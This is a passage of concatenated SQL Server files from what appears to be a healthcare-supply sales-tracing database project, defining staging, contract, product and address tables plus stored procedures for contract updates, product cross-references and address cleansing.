[MEDPRO_INDICATOR] VARCHAR (25) NULL,
[PRIMARY_GPO_KEY] SMALLINT NULL,
[PRIMARY_GPO_NAME] VARCHAR (50) NULL,
[PRIMARY_CONTRACT_NO] VARCHAR (20) NULL,
[PRIMARY_TIER_LEVEL] VARCHAR (20) NULL,
[PRIMARY_PRICING_GROUP] VARCHAR (20) NULL,
[ENDUSER_GROUP_KEY] INT NULL,
[TERRITORY_ID] VARCHAR (20) NULL,
[TERRITORY_KEY] SMALLINT NULL,
[CURRENT_INDICATOR] VARCHAR (10) NULL,
[EFF_DATE] DATE NULL,
[EXP_DATE] DATE NULL,
[ETL_AUDIT_KEY] SMALLINT NULL,
[L1_IDN_STATE] VARCHAR (50) NULL,
[L1_IDN_CITY] VARCHAR (50) NULL,
[L2_IDN_CITY] VARCHAR (50) NULL,
[L3_IDN_CITY] VARCHAR (50) NULL,
[L2_IDN_STATE] VARCHAR (50) NULL,
[L3_IDN_STATE] VARCHAR (50) NULL,
[L1_ENDUSER_PARENT_STATE] VARCHAR (50) NULL,
[L2_ENDUSER_PARENT_STATE] VARCHAR (50) NULL,
[L3_ENDUSER_PARENT_STATE] VARCHAR (50) NULL,
[ENDUSER_SALES_TYPE] VARCHAR (20) NULL,
[SUPERGROUP_ID] VARCHAR (50) NULL,
[SUPERGROUP_NAME] VARCHAR (150) NULL,
[SUPERGROUP_CITY] VARCHAR (50) NULL,
[SUPERGROUP_STATE] VARCHAR (50) NULL,
[SUPERGROUP_GPO] VARCHAR (50) NULL,
[EU_MARKET_SEGMENT] VARCHAR (50) NULL,
[CURRENT TIMESTAMP] VARCHAR (50) NULL
);
<file_sep>/PDI_SALESTRACING_DEV/STAGE/Tables/GPO_MEMBER.sql
CREATE TABLE [STAGE].[GPO_MEMBER] (
[PDI_GPO_MMBR_ID] INT IDENTITY (1, 1) NOT NULL,
[GPO_CMPNY_ID] INT NULL,
[GPO_NM] VARCHAR (255) NULL,
[SRC_GPO_MEMBER_ID] VARCHAR (50) NULL,
[SRC_GPO_MEMBER_ALT_ID] VARCHAR (50) NULL,
[MMBR_NM] VARCHAR (255) NULL,
[MMBR_ADDR_1] VARCHAR (255) NULL,
[MMBR_ADDR_2] VARCHAR (255) NULL,
[MMBR_CITY] VARCHAR (255) NULL,
[MMBR_ST] CHAR (2) NULL,
[MMBR_ZIP] VARCHAR (10) NULL,
[MMBR_CNTRY] CHAR (3) NULL,
[GLN_NR] VARCHAR (50) NULL,
[HIN_NR] VARCHAR (50) NULL,
[DEA_NR] VARCHAR (50) NULL,
[NPI_NR] VARCHAR (50) NULL,
[MMBR_EFF_DT] DATE NULL,
[MMBR_EXP_DT] DATE NULL,
[MMB_ACT_STAT_CD] CHAR (1) NULL,
[MMBR_STATUS] VARCHAR (20) NULL,
[GPO_MEMBER_PARENT_ID] VARCHAR (50) NULL,
[GPO_MEMBER_PARENT_NM] VARCHAR (255) NULL,
[GPO_MEMBER_LIC_NR] VARCHAR (50) NULL,
[MMBR_SGMNT] VARCHAR (100) NULL,
[CURRENT TIMESTAMP] VARCHAR (50) DEFAULT (getdate()) NOT NULL,
[PRCS_IN] CHAR (1) DEFAULT ('P') NOT NULL,
[UPD_ADDR1] VARCHAR (255) NULL,
[UPD_ADDR2] VARCHAR (255) NULL
);
<file_sep>/PDI_SALESTRACING_DEV/STAGE/Tables/CROTHALL_CG.sql
CREATE TABLE [STAGE].[CROTHALL_CG] (
[MonthYear] INT NULL,
[Contract Number] NVARCHAR (50) NULL,
[Contract Name] NVARCHAR (50) NULL,
[Distributor Name] NVARCHAR (59) NULL,
[EndUser ID] INT NULL,
[EndUser Name] NVARCHAR (95) NULL,
[ShipTo Address1] NVARCHAR (66) NULL,
[ShipTo City] NVARCHAR (50) NULL,
[Shipto State] NVARCHAR (50) NULL,
[ShipTo Zip] NVARCHAR (50) NULL,
[Product ID] NVARCHAR (50) NULL,
[Sales Amount] DECIMAL (28, 10) NULL
);
<file_sep>/PDI_SALESTRACING_DEV/CNT/Stored Procedures/spUPDATE_CONT_PRODID.sql
-- =============================================
-- Author: <NAME>
-- Create date: <Create Date,,>
-- Description: <Description,,>
-- =============================================
CREATE PROCEDURE [CNT].[spUPDATE_CONT_PRODID]
(@CNT_NR [varchar](20),
@PROD_EFF_DT date,
@PROD_EXP_DT date,
@prod_prc [decimal](18, 2),
@prod_ID [varchar](20)
)
as
BEGIN
update [CNT].[CNT_PROD]
set [PROD_EFF_DT]=@PROD_EFF_DT,[PROD_EXP_DT]=@PROD_EXP_DT,[PROD_PRC]=@prod_prc
where [CNT_NR]=@CNT_NR and [PROD_ID]=@prod_ID and [PROD_STAT_CD]='p'
END<file_sep>/PDI_SALESTRACING_DEV/STAGE/Tables/PDI_Hospital_Facility_Affiliations.sql
CREATE TABLE [STAGE].[PDI_Hospital_Facility_Affiliations] (
[HOSPITAL_ID] INT NULL,
[HOSPITAL_NAME] VARCHAR (MAX) NULL,
[FIRM_TYPE] VARCHAR (MAX) NULL,
[HQ_CITY] VARCHAR (MAX) NULL,
[HQ_STATE] VARCHAR (MAX) NULL,
[NETWORK_ID] INT NULL,
[NETWORK_NAME] VARCHAR (MAX) NULL,
[NETWORK_PARENT_ID] INT NULL,
[NETWORK_PARENT_NAME] VARCHAR (MAX) NULL,
[AFFILIATED_ACCOUNT_ID] INT NULL,
[AFFILIATED_ACCOUNT_NAME] VARCHAR (MAX) NULL,
[AFFILIATED_ACCOUNT_FIRM_TYPE] VARCHAR (MAX) NULL,
[AFFILIATED_ACCOUNT_HQ_CITY] VARCHAR (MAX) NULL,
[AFFILIATED_ACCOUNT_HQ_STATE] VARCHAR (MAX) NULL
);
<file_sep>/PDI_SALESTRACING_DEV/FTPOUT/Tables/DistPriceListImport.sql
CREATE TABLE [FTPOUT].[DistPriceListImport] (
[DISTID] VARCHAR (30) NOT NULL,
[ITEMID] VARCHAR (30) NOT NULL,
[EFFDATE] DATE NOT NULL,
[EXPDATE] DATE NOT NULL,
[DISTLISTPRICE] DECIMAL (8, 2) NULL
);
<file_sep>/PDI_SALESTRACING_DEV/EUM/Tables/MAX_DHC_XREF.sql
CREATE TABLE [EUM].[MAX_DHC_XREF] (
[HOSPITAL_ID] NVARCHAR (4000) NULL,
[FIRM_TYPE] NVARCHAR (4000) NULL,
[COACCTMAX] NVARCHAR (4000) NULL
);
<file_sep>/PDI_SALESTRACING_DEV/STG0/Tables/PRC_AUTH.sql
CREATE TABLE [STG0].[PRC_AUTH] (
[PRC_AUTH_ID] INT IDENTITY (1, 1) NOT NULL,
[GPO_NM] VARCHAR (MAX) NULL,
[GPO_MBR_ID] VARCHAR (MAX) NULL,
[GPO_MBR_NM] VARCHAR (MAX) NULL,
[GPO_MBR_ADDR1] VARCHAR (MAX) NULL,
[GPO_MBR_ADDR2] VARCHAR (MAX) NULL,
[GPO_MBR_CITY] VARCHAR (MAX) NULL,
[GPO_MBR_ST] VARCHAR (MAX) NULL,
[GPO_MBR_ZIP] VARCHAR (MAX) NULL,
[GPO_CNT_NR] VARCHAR (MAX) NULL,
[MFG_CNT_NR] VARCHAR (MAX) NULL,
[TIER_NR] VARCHAR (MAX) NULL,
[TIER_DESC] VARCHAR (MAX) NULL,
[PRC_EFF_DT] VARCHAR (MAX) NULL,
[PRC_EXP_DT] VARCHAR (MAX) NULL,
[IDN_NM] VARCHAR (MAX) NULL,
[DIST_NM_1] VARCHAR (MAX) NULL,
[DIST_NM_2] VARCHAR (MAX) NULL,
[PRC_ACT_NR] VARCHAR (MAX) NULL,
[LIC_NR] VARCHAR (MAX) NULL,
[PRC_ACT_DT] VARCHAR (MAX) NULL,
[STATUS] VARCHAR (MAX) NULL,
[SRC_REC_ID] VARCHAR (MAX) NULL,
[DEA] VARCHAR (MAX) NULL,
[GLN] VARCHAR (MAX) NULL,
[HIN] VARCHAR (MAX) NULL,
[SEGMENT] VARCHAR (MAX) NULL,
[CURRENT_TIMESTAMP] DATETIME DEFAULT (getdate()) NOT NULL
);
<file_sep>/PDI_SALESTRACING_DEV/PROD/Tables/PRODUCT.sql
CREATE TABLE [PROD].[PRODUCT] (
[PRODUCT_ID_PK] INT IDENTITY (1, 1) NOT NULL,
[PROD_ID] VARCHAR (15) NOT NULL,
[PROD_EFF_DT] VARCHAR (10) NULL,
[PROD_EXP_DT] VARCHAR (10) NULL,
[REC_STAT_CD] CHAR (1) NULL,
[PROD_DESC_ERP] VARCHAR (255) NOT NULL,
[PROD_EXTRA_DESC_ERP] VARCHAR (255) NULL,
[PROD_CATEGORY_ERP] VARCHAR (100) NOT NULL,
[PROD_SLS_CAT_ID] VARCHAR (100) NOT NULL,
[PROD_MKT_CAT_ID] VARCHAR (100) NOT NULL,
[PROD_BRAND] VARCHAR (100) NOT NULL,
[SALES_TYPE] VARCHAR (100) NOT NULL,
[NEW_PROD_IN] CHAR (1) NOT NULL,
[SELL_UOM] CHAR (3) NOT NULL,
[BPCS_CREATE_DATE] VARCHAR (10) NULL,
[BPCS_LAST_MAINT_DATE] VARCHAR (10) NULL,
[CURRENT TIMESTAMP] VARCHAR (50) NOT NULL
);
<file_sep>/PDI_SALESTRACING_DEV/STG0/Tables/PDI_FILE_LAYOUT.sql
CREATE TABLE [STG0].[PDI_FILE_LAYOUT] (
[File] VARCHAR (MAX) NULL,
[Field] VARCHAR (MAX) NULL,
[Description] VARCHAR (MAX) NULL,
[CURRENT_TIMESTAMP] DATETIME DEFAULT (getdate()) NOT NULL
);
<file_sep>/PDI_SALESTRACING_DEV/STG0/Tables/test_1.sql
CREATE TABLE [STG0].[test_1] (
[PDI_CMPNY_ID] INT NULL
);
<file_sep>/PDI_SALESTRACING_DEV/TRC/Stored Procedures/spEraseReplacedContract.sql
CREATE PROCEDURE [TRC].[spEraseReplacedContract]
@vTRC_CNT_ID VARCHAR(30),
@vPROD_ID VARCHAR(15)
AS
BEGIN
UPDATE STAGE.TRC_CNT_CORR_XREF
SET
UPD_CNT_ID = NULL
WHERE TRC_CNT_ID = @vTRC_CNT_ID
AND PROD_ID = @vPROD_ID;
END;<file_sep>/PDI_SALESTRACING_DEV/Security/PROD.sql
CREATE SCHEMA [PROD]
AUTHORIZATION [NICEPAK\htarafder];
<file_sep>/PDI_SALESTRACING_DEV/STAGE/Tables/SALES_TRACING_NON_EDI_ETL_preCalc.sql
CREATE TABLE [STAGE].[SALES_TRACING_NON_EDI_ETL_preCalc] (
[MNTH] CHAR (2) NULL,
[DAY] CHAR (2) NULL,
[SALES_PERIOD] VARCHAR (10) NULL,
[YEAR] CHAR (4) NULL,
[RPT_DT] DATE NULL,
[DIST_ID] VARCHAR (48) NULL,
[DIST_NR] VARCHAR (15) NULL,
[TRC_TRNS_TYP] CHAR (2) NULL,
[TRC_CNT_ID] VARCHAR (30) NULL,
[TRC_PROD_ID] VARCHAR (48) NULL,
[TRC_PRC_TYP] CHAR (4) NULL,
[INV_ID] VARCHAR (30) NULL,
[INV_DT] DATE NULL,
[INV_DT_NR] INT NULL,
[TRC_UNIT] CHAR (3) NULL,
[TRC_QTY_SLD] FLOAT (53) NULL,
[TRC_CNT_PRC] FLOAT (53) NULL,
[TRC_LIST_PRC] FLOAT (53) NULL,
[TRC_DIST_PRC] FLOAT (53) NULL,
[TRC_RBT_AMT] FLOAT (53) NULL,
[LINE_NR] SMALLINT NULL,
[SHPTO_ID] VARCHAR (20) NULL,
[SHPTO_NM] VARCHAR (200) NULL,
[SHPTO_ADDR_1] VARCHAR (100) NULL,
[SHPTO_ADDR_2] VARCHAR (100) NULL,
[SHPTO_CITY] VARCHAR (100) NULL,
[SHPTO_ST] VARCHAR (10) NULL,
[SHPTO_ZIP] VARCHAR (12) NULL,
[SHPTO_TYP] VARCHAR (100) NULL,
[BILLTO_ID] VARCHAR (20) NULL,
[BILLTO_NM] VARCHAR (200) NULL,
[BILLTO_ADDR_1] VARCHAR (150) NULL,
[BILLTO_ADDR_2] VARCHAR (150) NULL,
[BILLTO_CITY] VARCHAR (100) NULL,
[BILLTO_ST] VARCHAR (10) NULL,
[BILLTO_ZIP] VARCHAR (12) NULL,
[BILLTO_TYP] VARCHAR (100) NULL,
[DBT_MEMO] VARCHAR (40) NULL,
[CURRENT TIMESTAMP] VARCHAR (50) NOT NULL,
[UPD_CNT_ID] VARCHAR (30) NULL,
[UPD_PROD_ID] VARCHAR (48) NULL,
[TRC_CS_PRC] FLOAT (53) NULL,
[CNT_EXP_DT] DATE NULL,
[TRC_UPD_UNIT] CHAR (2) NULL,
[UPD_CS_QTY] FLOAT (53) NULL,
[UPD_CS_PRC] FLOAT (53) NULL,
[TRC_SALES_AMT] FLOAT (53) NULL,
[UPD_SALES_AMT] FLOAT (53) NULL,
[TRC_VAR] FLOAT (53) NULL,
[RBT_STAT_CD] CHAR (3) NULL,
[UPD_RBT_AMT] FLOAT (53) NULL,
[RBT_CALC_STAT] CHAR (1) NULL,
[RBT_CNT_ID] VARCHAR (30) NULL,
[UPD_PRC_TYP] CHAR (4) NULL,
[TRC_UPD_CS_PRC] FLOAT (53) NULL,
[ERR_CD] VARCHAR (40) NULL,
[RBT_LIST_PRC] FLOAT (53) NULL,
[SAF_VARIANCE] DECIMAL (38, 8) NULL,
[SAF_SALES_AMT] MONEY NULL,
[TRC_EXT_LIST_COST] FLOAT (53) NULL,
[TRC_EXT_CNT_COST] FLOAT (53) NULL,
[INV_DT_IN] CHAR (1) NULL,
[CNT_EXP_DAYS] SMALLINT NULL,
[SLS_CALC_STAT] CHAR (1) NULL,
[RBT_PRC_TYP] CHAR (4) NULL
);
<file_sep>/PDI_SALESTRACING_DEV/TRC/Stored Procedures/spUpdateContractReconStat.sql
CREATE PROCEDURE [TRC].[spUpdateContractReconStat] @UserID VARCHAR(20),
@reconStat [TRC].[ContractReconStat] READONLY
AS
BEGIN
UPDATE cr
SET
cr.RECON_STAT_CD = 'C',
cr.RECON_DT = CONVERT(DATE, GETDATE()),
cr.RECON_BY = @UserID
FROM STAGE.TRC_CNT_CORR_XREF cr
JOIN @reconStat p ON cr.TRC_CNT_ID = p.CNT_ID
AND cr.PROD_ID = p.PROD_ID
WHERE cr.RECON_STAT_CD = 'P';
END;<file_sep>/PDI_SALESTRACING_DEV/PCM/Tables/PCM_PROD_PRC.sql
CREATE TABLE [PCM].[PCM_PROD_PRC] (
[PRODUCT] VARCHAR (20) NOT NULL,
[PRODUCT_DESC] VARCHAR (255) NOT NULL,
[LIST_PRICE] DECIMAL (38, 2) NULL,
[ASP6] DECIMAL (38, 2) NOT NULL,
[ASP12] DECIMAL (38, 2) NOT NULL,
[VIZ_PRC] DECIMAL (38, 2) NOT NULL,
[AMERI_TIER_1] DECIMAL (38, 2) NOT NULL,
[AMERI_TIER_2] DECIMAL (38, 2) NOT NULL,
[HPG_PRC] DECIMAL (38, 2) NOT NULL,
[CURR_VOL] DECIMAL (18) NULL
);
<file_sep>/PDI_SALESTRACING_DEV/SNDBX/Tables/TEST_2.sql
CREATE TABLE [SNDBX].[TEST_2] (
[CMPNY_ID] INT NOT NULL,
[NM] VARCHAR (100) NULL
);
<file_sep>/PDI_SALESTRACING_DEV/STAGE/Stored Procedures/spDHC_LAUNDRY.sql
CREATE PROCEDURE [STAGE].[spDHC_LAUNDRY]
@ID INT = NULL
WITH EXEC AS CALLER
AS
BEGIN
-------------------- CLEANSE NAME -----------------------------------
EXEC [STAGE].[spDHC_CLEANSE];
-------------------- CLEANSE ADDRESS --------------------------------
TRUNCATE TABLE STAGE.TEMP_ADDR_LAUNDRY;
INSERT INTO STAGE.TEMP_ADDR_LAUNDRY( SRCE_DATA_ID, ADDR1, ADDR2, CITY, STATE, ZIP )
SELECT DHC_CO_ID, DHC_CO_ADDR_1, DHC_CO_ADDR_2, DHC_CO_CITY, DHC_CO_ST, DHC_CO_ZIP
FROM STAGE.DHC_COMPANY ;
-- EXEC [STAGE].[spNAD_LAUNDRY];
EXEC [STAGE].[spNAD_LAUNDRY_LITE];
UPDATE T
SET T.DHC_CO_ADDR_1 = UPPER(S.UPD_ADDR1),
T.DHC_CO_ADDR_2 = UPPER(S.UPD_ADDR2),
T.UPDT_CO_CITY = UPPER(S.CITY)
FROM STAGE.DHC_COMPANY T
JOIN STAGE.TEMP_ADDR_LAUNDRY S ON T.DHC_CO_ID = S.SRCE_DATA_ID;
-------------------------------------------------------------------------------------
END;<file_sep>/PDI_SALESTRACING_DEV/dbo/Stored Procedures/MERGEusp.sql
--SP_HELPTEXT 'MERGEusp'
--Select top 10 * from [STG0].[CONTRACT]
--select top 10 * from [SNDBX].[CONTRACT]
--Select top 10 * from [STG0].[CONTRACT]
--select top 10 * from [SNDBX].[CONTRACT]
CREATE PROCEDURE MERGEusp
AS
BEGIN
MERGE [SNDBX].[CONTRACT] A
USING [STG0].[CONTRACT] B
ON A.[CONTRACT_ID_PK] =B.[CONTRACT_ID_PK]
WHEN MATCHED AND (A.[ORIG_EXP_DTE]<=B.[ORIG_EXP_DTE]) THEN
UPDATE SET [CNT_UPD_TYP]='EXTENDED CONTRACT'
--WHEN NOT MATCHED AND (A.[CNT_UPD_TYP]<=B.[CNT_UPD_TYP]) AND (A.[ORIG_EXP_DTE]>=B.[ORIG_EXP_DTE]) THEN
--UPDATE SET [CNT_UPD_TYP]='EXPIRED CONTRACT'
WHEN NOT MATCHED BY TARGET THEN
INSERT (CNT_UPD_TYP) VALUES ('EXPIRED CONTRACT')
WHEN NOT MATCHED BY SOURCE THEN
DELETE
;
END<file_sep>/PDI_SALESTRACING_DEV/Security/BAK_UP.sql
CREATE SCHEMA [BAK_UP]
AUTHORIZATION [NICEPAK\htarafder];
<file_sep>/PDI_SALESTRACING_DEV/REF/Tables/ADDR_STD.sql
CREATE TABLE [REF].[ADDR_STD] (
[ADDR_TYP] VARCHAR (50) NULL,
[ADDR_VAR] VARCHAR (50) NULL,
[ADDR_STD] VARCHAR (400) NULL,
[CAT] VARCHAR (50) NULL,
[SUB_CAT] VARCHAR (20) NULL,
[REC_ACT_IN] CHAR (1) NULL
);
<file_sep>/PDI_SALESTRACING_DEV/TRC/Stored Procedures/spTRC_SAVE_UPI_CORR.sql
CREATE PROCEDURE [TRC].[spTRC_SAVE_UPI_CORR]
@vDIST_NR varchar(20), @vDIST_ID varchar(30), @vTRC_PROD_ID varchar(30), @vUPD_PROD_ID varchar(30)
WITH EXEC AS CALLER
AS
BEGIN
BEGIN
MERGE [PDI_SALESTRACING_DEV].[STAGE].[TRC_PROD_CORR_XREF] T
USING
(SELECT
DIST_NR = @vDIST_NR, DIST_ID=@vDIST_ID, TRC_PROD_ID = @vTRC_PROD_ID, UPD_PROD_ID=@vUPD_PROD_ID
) AS S
ON T.DIST_NR = S.DIST_NR AND T.TRC_PROD_ID = S.TRC_PROD_ID
WHEN NOT MATCHED BY TARGET THEN
INSERT
(DIST_NR, DIST_ID, TRC_PROD_ID, UPD_PROD_ID)
VALUES
(S.DIST_NR, S.DIST_ID, S.TRC_PROD_ID, S.UPD_PROD_ID)
WHEN MATCHED THEN
UPDATE
SET T.UPD_PROD_ID = S.UPD_PROD_ID;
END;
END<file_sep>/PDI_SALESTRACING_DEV/REF/Tables/ZIP_CODE.sql
CREATE TABLE [REF].[ZIP_CODE] (
[ZIP_CODE_ID_PK] INT IDENTITY (1, 1) NOT NULL,
[Zipcode] VARCHAR (20) NULL,
[City] VARCHAR (255) NULL,
[State] VARCHAR (255) NULL,
[Latitude] DECIMAL (28, 10) NULL,
[Longitude] DECIMAL (28, 10) NULL,
[ZipCodeType] VARCHAR (40) NULL,
[LocationType] VARCHAR (20) NULL,
[TaxReturnsFiled] INT NULL,
[EstimatedPopulation] INT NULL,
[TotalWages] VARCHAR (255) NULL,
[Notes] VARCHAR (255) NULL
);
<file_sep>/PDI_SALESTRACING_DEV/CMPNY/Tables/SHPTO.sql
CREATE TABLE [CMPNY].[SHPTO] (
[SHPTO_ID] INT IDENTITY (1, 1) NOT NULL,
[SHPTO_NM] VARCHAR (255) NOT NULL,
[SHPTO_ADDR_1] VARCHAR (255) NULL,
[SHPTO_ADDR_2] VARCHAR (255) NULL,
[SHPTO_CITY] VARCHAR (255) NULL,
[SHPTO_ST] CHAR (2) NULL,
[SHPTO_ZIP] VARCHAR (10) NOT NULL,
[SHPTO_CNTRY] CHAR (3) NULL,
[SHPTO_TYP_ID] SMALLINT NULL,
[SHPTO_CTGRY_ID] SMALLINT NULL,
[SHPTO_SGMNT_ID] SMALLINT NULL,
[SHPTO_SUB_SGMNT_ID] SMALLINT NULL,
[NPI_NR] VARCHAR (50) NULL,
[GLN_NR] VARCHAR (50) NULL,
[HIN_NR] VARCHAR (50) NULL,
[DEA_NR] VARCHAR (50) NULL,
[REC_EFF_DT] DATE NULL,
[REC_EXP_DT] DATE NULL,
[REC_STAT_IN] CHAR (1) NULL
);
<file_sep>/PDI_SALESTRACING_DEV/STAGE/Tables/TEMP_TBL_1.sql
CREATE TABLE [STAGE].[TEMP_TBL_1] (
[SRC_ID] INT NOT NULL,
[STR_1] VARCHAR (255) NOT NULL,
[STR_2] VARCHAR (255) NULL,
[STR_3] VARCHAR (255) NULL
);
<file_sep>/PDI_SALESTRACING_DEV/STAGE/Tables/PDI_PG_Overview.sql
CREATE TABLE [STAGE].[PDI_PG_Overview] (
[HOSPITAL_ID] INT NULL,
[HOSPITAL_NAME] VARCHAR (MAX) NULL,
[HQ_ADDRESS] VARCHAR (MAX) NULL,
[HQ_ADDRESS1] VARCHAR (MAX) NULL,
[HQ_CITY] VARCHAR (MAX) NULL,
[HQ_STATE] VARCHAR (MAX) NULL,
[HQ_COUNTY] VARCHAR (MAX) NULL,
[HQ_ZIP_CODE] INT NULL,
[WEBSITE] VARCHAR (MAX) NULL,
[HQ_PHONE] VARCHAR (MAX) NULL,
[NETWORK_ID] VARCHAR (MAX) NULL,
[NETWORK_NAME] VARCHAR (MAX) NULL,
[NETWORK_PARENT_ID] VARCHAR (MAX) NULL,
[NETWORK_PARENT_NAME] VARCHAR (MAX) NULL,
[HOSPITAL_PARENT_ID] VARCHAR (MAX) NULL,
[HOSPITAL_PARENT_NAME] VARCHAR (MAX) NULL,
[GPO_NAME_FOR_EXPORT] VARCHAR (MAX) NULL,
[ACO_NAME_FOR_EXPORT] VARCHAR (MAX) NULL,
[HIE_AFFILIATIONS] VARCHAR (MAX) NULL,
[CIN_AFFILIATIONS] VARCHAR (MAX) NULL,
[CBSA_CODE] NVARCHAR (100) NULL,
[NPI_NUMBER] INT NULL,
[NUMBER_PHYSICIANS_PHYSICIAN_GROUP] INT NULL,
[COMPANY_STATUS] VARCHAR (MAX) NULL,
[CRM_INTEGRATION_LINK] VARCHAR (MAX) NULL,
[PG_TYPE] VARCHAR (MAX) NULL,
[FIRM_TYPE] VARCHAR (MAX) NULL,
[CBSA_POPULATION_EST_MOST_RECENT] INT NULL,
[CBSA_POPULATION_GROWTH_MOST_RECENT] VARCHAR (MAX) NULL,
[MANAGEMENT_SERVICE_ORGANIZATION] VARCHAR (MAX) NULL,
[OWNED_LEASED_REAL_ESTATE] VARCHAR (MAX) NULL,
[GROUP_PRACTICE_PAC_ID] VARCHAR (MAX) NULL,
[NUMBER_GROUP_PRACTICE_MEMBERS] INT NULL,
[NUMBER_PHYSICIANS_PHYS_COMP] INT NULL,
[MAIN_SPECIALTY] VARCHAR (MAX) NULL,
[OTHER_SPECIALTIES] VARCHAR (MAX) NULL,
[NUMBER_PROCEDURES] FLOAT (53) NULL,
[MEDICARE_CHARGE_AMT] FLOAT (53) NULL,
[MEDICARE_ALLOWED_AMT] FLOAT (53) NULL,
[MEDICARE_PAYMENT_AMT] FLOAT (53) NULL,
[Meaningful_Use_Percentile] FLOAT (53) NULL,
[Participating_in_PQRS] VARCHAR (MAX) NULL,
[PQRS_PERCENTILE] FLOAT (53) NULL,
[BPCI_MODEL] VARCHAR (MAX) NULL,
[CPC_PARTICIPATION] VARCHAR (MAX) NULL,
[ONCOLOGY_CARE_PARTICIPATION] VARCHAR (MAX) NULL
);
<file_sep>/PDI_SALESTRACING_DEV/SNDBX/Tables/CMPNY_NM_ARRAY.sql
CREATE TABLE [SNDBX].[CMPNY_NM_ARRAY] (
[CMPNY_ID] INT NOT NULL,
[NM_PARTS] VARCHAR (100) NULL,
[NM_PARTS_TYP] CHAR (1) NULL,
[NM_PARTS_HIER] CHAR (1) NULL,
[REC_STAT_IN] CHAR (1) NULL,
[CURRENT TIMESTAMP] ROWVERSION NOT NULL
);
<file_sep>/PDI_SALESTRACING_DEV/STAGE/Tables/TRC_PROD_CORR_XREF.sql
CREATE TABLE [STAGE].[TRC_PROD_CORR_XREF] (
[DIST_NR] VARCHAR (20) NULL,
[DIST_ID] NVARCHAR (255) NULL,
[TRC_PROD_ID] NVARCHAR (255) NULL,
[UPD_PROD_ID] NVARCHAR (255) NULL
);
<file_sep>/PDI_SALESTRACING_DEV/STAGE/Tables/PDI_Hospital_Connected_Care_Affiliations.sql
CREATE TABLE [STAGE].[PDI_Hospital_Connected_Care_Affiliations] (
[HOSPITAL_ID] INT NULL,
[HOSPITAL_NAME] VARCHAR (MAX) NULL,
[CC_DHC_ID] INT NULL,
[CC_ACCOUNT_NAME] VARCHAR (MAX) NULL,
[CC_CITY] VARCHAR (MAX) NULL,
[CC_STATE] VARCHAR (MAX) NULL,
[CC_FIRM_TYPE] VARCHAR (MAX) NULL
);
<file_sep>/PDI_SALESTRACING_DEV/SNDBX/Tables/TEST_DUP.sql
CREATE TABLE [SNDBX].[TEST_DUP] (
[DISTID] VARCHAR (8) NULL,
[DISTACCTID] VARCHAR (20) NULL,
[DISTACCTSHIPNAME] VARCHAR (50) NULL,
[DISTACCTSHIPADDR1] VARCHAR (50) NULL,
[DISTACCTSHIPADDR2] VARCHAR (50) NULL,
[DISTACCTSHIPCITY] VARCHAR (50) NULL,
[DISTACCTSHIPSTATE] VARCHAR (2) NULL,
[DISTACCTSHIPZIP] VARCHAR (10) NULL
);
<file_sep>/PDI_SALESTRACING_DEV/STAGE/Tables/TEMP_ACRONYM.sql
CREATE TABLE [STAGE].[TEMP_ACRONYM] (
[RAW] VARCHAR (MAX) NULL,
[ACRONYM] VARCHAR (40) NULL,
[FACILITY_NM] VARCHAR (MAX) NULL
);
<file_sep>/PDI_SALESTRACING_DEV/Security/MDM.sql
CREATE SCHEMA [MDM]
AUTHORIZATION [NICEPAK\htarafder];
<file_sep>/PDI_SALESTRACING_DEV/STAGE/Tables/CONTRAXX_CNT.sql
CREATE TABLE [STAGE].[CONTRAXX_CNT] (
[CNT_NR] VARCHAR (20) NOT NULL,
[CNT_EFF_DT_NR] INT NULL,
[CNT_EXP_DT_NR] INT NULL,
[CNT_APPRV_DT] INT NULL,
[CNT_TYP_CD] VARCHAR (20) NULL,
[CNT_STATUS_CODE] VARCHAR (40) NULL,
[CNT_DESC] VARCHAR (MAX) NULL,
[BUYER_GRP_CNT_NR] VARCHAR (40) NULL,
[CNT_TIER_LVL] VARCHAR (20) NULL,
[LAST_MOD_DT_NR] BIGINT NULL,
[GRP_NM] VARCHAR (100) NULL,
[GRP_ADDR_1] VARCHAR (200) NULL,
[GRP_ADDR_2] VARCHAR (150) NULL,
[GRP_CITY] VARCHAR (100) NULL,
[GRP_ST] VARCHAR (40) NULL,
[GRP_ZIP] VARCHAR (20) NULL,
[CNT_EXTND_DT] INT NULL,
[RENEW_CNT_NR] VARCHAR (20) NULL,
[CURRENT TIMESTAMP] VARCHAR (50) DEFAULT (getdate()) NOT NULL
);
<file_sep>/PDI_SALESTRACING_DEV/CNT/Stored Procedures/spGet_Price_Authorization.sql
-- =============================================
-- Author: <NAME>
-- Create date: 03/28/2019
-- Description: PRICE AUTHORIZATION aggregate
-- =============================================
CREATE PROCEDURE [CNT].[spGet_Price_Authorization]-- 115, null, null
@buyerGroupId INT,
@mfgCntNr varchar(7) = null
AS
BEGIN
SELECT P.GPO_MBR_ID,
P.GPO_MBR_NM AS GPOCompany,
CM.CMPNY_NM AS PDICompany,
S.[TOTAL SALES PRIOR YEAR] AS Sales,
0 AS ParSales,
0 AS NetworkSales,
1 AS CurrTier,
P.TIER_NR AS ReqtTier,
CM.BUYER_INDICATOR AS BI
FROM [SNDBX].[PRC_AUTH_EB] P -- REMOVE THIS LINE AND COMMENT OUT NEXT LINE - WHEN WE GO LIVE
--[CNT].[PRC_AUTH_EB] P
JOIN [CNT].[CONTRACT] C ON C.CNT_NR = P.MFG_CNT_NR
AND C.REC_STAT_CD = 'A'
AND C.BUYER_GRP_ID = @buyerGroupId
JOIN [STAGE].[PRCHS_GRP] G ON C.BUYER_GRP_ID = G.PDI_GRP_ID
JOIN CMPNY.CMPNY_SALES S ON P.CMPNY_ID = S.CMPNY_ID
JOIN CMPNY.COMPANY CM ON P.CMPNY_ID = CM.CMPNY_ID
WHERE PRC_AUTH_STAT_CD = 'P'
AND (ISNULL(@mfgCntNr,'') = '' or P.MFG_CNT_NR = @mfgCntNr)
ORDER BY P.GPO_MBR_NM
END;<file_sep>/PDI_SALESTRACING_DEV/STAGE/Stored Procedures/spTRC_NAD_PROCESS.sql
CREATE PROCEDURE [STAGE].[spTRC_NAD_PROCESS]
@ID INT = NULL
WITH EXEC AS CALLER
AS
BEGIN
-- First load the ID, Name and addresses to temp laundry table for cleaning
-- Take comment out once we are done with developing the stored proc
TRUNCATE TABLE MDM_STAGE.TEMP_ADDR;
TRUNCATE TABLE MDM_STAGE.TEMP_ADDR_PARTS;
INSERT INTO MDM_STAGE.TEMP_ADDR ( SRC_ID, ORIG_NM, ADDR_1, ADDR_2)
SELECT TRC_ENDUSER_1_ID, DISTACCTSHIPNAME, DISTACCTSHIPADDR1, DISTACCTSHIPADDR2
